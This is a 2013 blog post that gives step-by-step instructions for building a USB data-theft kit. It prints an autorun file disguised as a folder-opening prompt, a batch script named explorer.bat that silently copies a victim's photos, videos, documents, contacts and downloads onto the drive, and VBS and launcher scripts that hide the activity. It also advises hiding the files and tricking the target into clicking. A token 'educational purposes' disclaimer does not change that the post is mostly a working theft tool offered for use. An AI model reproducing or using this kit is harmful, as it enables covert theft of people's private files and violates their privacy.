Create a Script to Steal Data

Posted: 18/07/2013 in Cyber Crime, education, fun, Geek Stuff, Hacking, How to....
Tags: , , ,

tv crime2Please use responsibly, take no responsibility for the use of the following information it should only be used for educational purposes

How to steal files with USB

For this you’ll need a USB device or anything that will plug into a PC and can hold data.

Step One-

Open Notepad and paste the code below

action=Open folders to view files

Save it as Autorun.inf
paste to the USB an icon called icon.ico
change the “Open folders to view files”.

Step Two-

Open notepad again and paste the code below

@echo on
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo on

%backupcmd% “%USERPROFILE%\Desktop\*.avi” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\private\favorites”
%backupcmd% “%USERPROFILE%\Desktop\*.jpg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.jpeg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.bmp” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.3gp” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Desktop\*.mp4” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Desktop\*.wmv” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Contacts” “%drive%\private\contacts”
%backupcmd% “%USERPROFILE%\Links” “%drive%\private\links”
%backupcmd% “%USERPROFILE%\My Documents\My Music” “%drive%\private\mp3”
%backupcmd% “%USERPROFILE%\My Documents\Downloads” “%drive%\private\downloads”
%backupcmd% “%USERPROFILE%\My Music” “%drive%\private\mp3”
%backupcmd% “%USERPROFILE%\My Documents\*.jpg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\My Documents\*.bmp” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\My Documents\*.avi” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.mpg” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.3gp” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.mp4” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Pictures” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Videos” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Music” “%drive%\private\mp3”
%backupcmd% “%USERPROFILE%\Downloads” “%drive%\private\downloads”
%backupcmd% “D:\*.jpg” “%drive%\private\img”
%backupcmd% “D:\*.jpeg” “%drive%\private\img”
%backupcmd% “D:\*.bmp” “%drive%\private\img”
%backupcmd% “D:\*.3gp” “%drive%\private\vid”
%backupcmd% “D:\*.mp4” “%drive%\private\vid”
%backupcmd% “D:\*.avi” “%drive%\private\vid”
%backupcmd% “D:\*.wmv” “%drive%\private\vid”
%backupcmd% “D:\*.doc” “%drive%\private\documents”
%backupcmd% “D:\*.pdf” “%drive%\private\documents”
@echo on

Save it as explorer.bat
this script copies files from Music/Videos/downloads/

Then these files are copied to their respective folders.
Note: create on your USB a folder called private
and on this folder create these folders:

Step 3

Open notepad again and paste the code below

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Save it as invisible.vbs
This code runs explorer.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Step Four

Open notepad again for the last time and paste the code below

wscript.exe \invisible.vbs explorer.bat

Save this as launch.bat
This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with explorer.bat so file.bat is run with code from vbs file.

Step Five

Paste all 4 files in the root of your flash drive. Don’t forget to paste the icon
Create the folders I mentioned in step 2.
If you want you can make the files and folders hidden so they won’t be visible 🙂
Note: This will work only if your target will click “Open folders to view files” so in order for this to work auto run must be enabled or you can get them to double click the icon.


  1. anonymous says:

    Very very thanks this post was very use full

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s